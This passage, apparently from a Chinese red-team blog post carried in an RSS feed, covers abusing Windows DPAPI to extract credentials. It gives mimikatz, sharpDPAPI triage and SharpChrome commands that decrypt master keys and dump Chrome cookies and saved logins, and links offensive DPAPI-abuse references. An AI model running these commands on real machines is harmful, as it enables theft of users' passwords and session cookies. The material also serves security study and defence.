initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dpapi</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">::</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cache</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">正则匹配</span><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Console</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> output</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">中的所有</span><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Guid</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">与</span><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Master</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> key</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">，并把结果存入</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">CS</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">的</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">credman</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">中</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sharpDPAPI triage </span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">GUID1</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}:</span><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">MasterKey1</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">GUID2</span><span class="pun" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}:</span><span class="typ" style="box-sizing: border-box;color: rgb(187, 255, 170);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">MasterKey2</span><span class="pln" style="box-sizing: border-box;color: rgb(238, 238, 238);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span></code></span></span></p></li></ol></pre><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2329945269741986" data-s="300,640" style="" data-type="png" data-w="1279" src="https://wechat2rss.xlab.app/img-proxy/?k=b5488bec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzPDyLibytjXqj9j5QN6vCicrYt9PZz1erx5KNhtYCERRRONTEYQJ0y8yg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.37920250195465205" data-s="300,640" style="" data-type="png" data-w="1279" src="https://wechat2rss.xlab.app/img-proxy/?k=d49962f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzQWjgw4iceBs65JIibT77F0IzaD75WXcKc7Qib3HkyMvxcQXv9Mq4e3LLA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">效果相当喜人，美中不足是没有去Dump浏览器相关的信息。<br style="box-sizing: border-box;"/>sharpDPAPI中也包含sharpChrome，其也是通过Dpapi解密获取浏览器的密码信息（/unprotect参数需要是本用户的文件）。<br style="box-sizing: border-box;"/><code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">SharpChrome</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">exe cookies</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">target</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">:</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">&#34;C:\Users\11632\AppData\Local\Google\Chrome\User Data\Default\Cookies&#34;</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"></span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">unprotect</span></code><br style="box-sizing: border-box;"/>or<br style="box-sizing: border-box;"/><code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">SharpChrome</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">exe logins</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">target</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">:</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">&#34;C:\Users\11632\AppData\Local\Google\Chrome\User Data\Default\Login Data&#34;</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"></span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">unprotect</span></code><br style="box-sizing: border-box;"/>效果其实也还不错，缺点就是排版难看了点，以及并没有支持其他的浏览器。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">这里可以与另外一个项目 <a href="https://github.com/djhohnstein/SharpWeb" target="_blank">https://github.com/djhohnstein/SharpWeb</a> 互补。此项目优点就是排版舒服了，可惜没有导出Cookie的功能（苦笑</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">本机测试，密码太多了就不截图了 233，请自行测试吧~</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">REF</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;"><a href="https://adsecurity.org/?page_id=1821#DPAPI" target="_blank">https://adsecurity.org/?page_id=1821#DPAPI</a><br style="box-sizing: border-box;"/><a href="https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/" target="_blank">https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/</a><br style="box-sizing: border-box;"/><a href="https://www.passcape.com/index.php?section=docsys&amp;cmd=details&amp;id=28" target="_blank">https://www.passcape.com/index.php?section=docsys&amp;cmd=details&amp;id=28</a><br style="box-sizing: border-box;"/><a href="https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi#credhist" target="_blank">https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi#credhist</a><br style="box-sizing: border-box;"/><a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" target="_blank">https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files</a></p>



<p><a href="2247483665">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e71e93bc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA3MzI1MTIzMw%3D%3D%26mid%3D2247483665%26idx%3D1%26sn%3D01a45c841616cf26bd68c4b062ceff23%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Oct 2019 17:35:00 +0800</pubDate>
    </item>
  </channel>
</rss>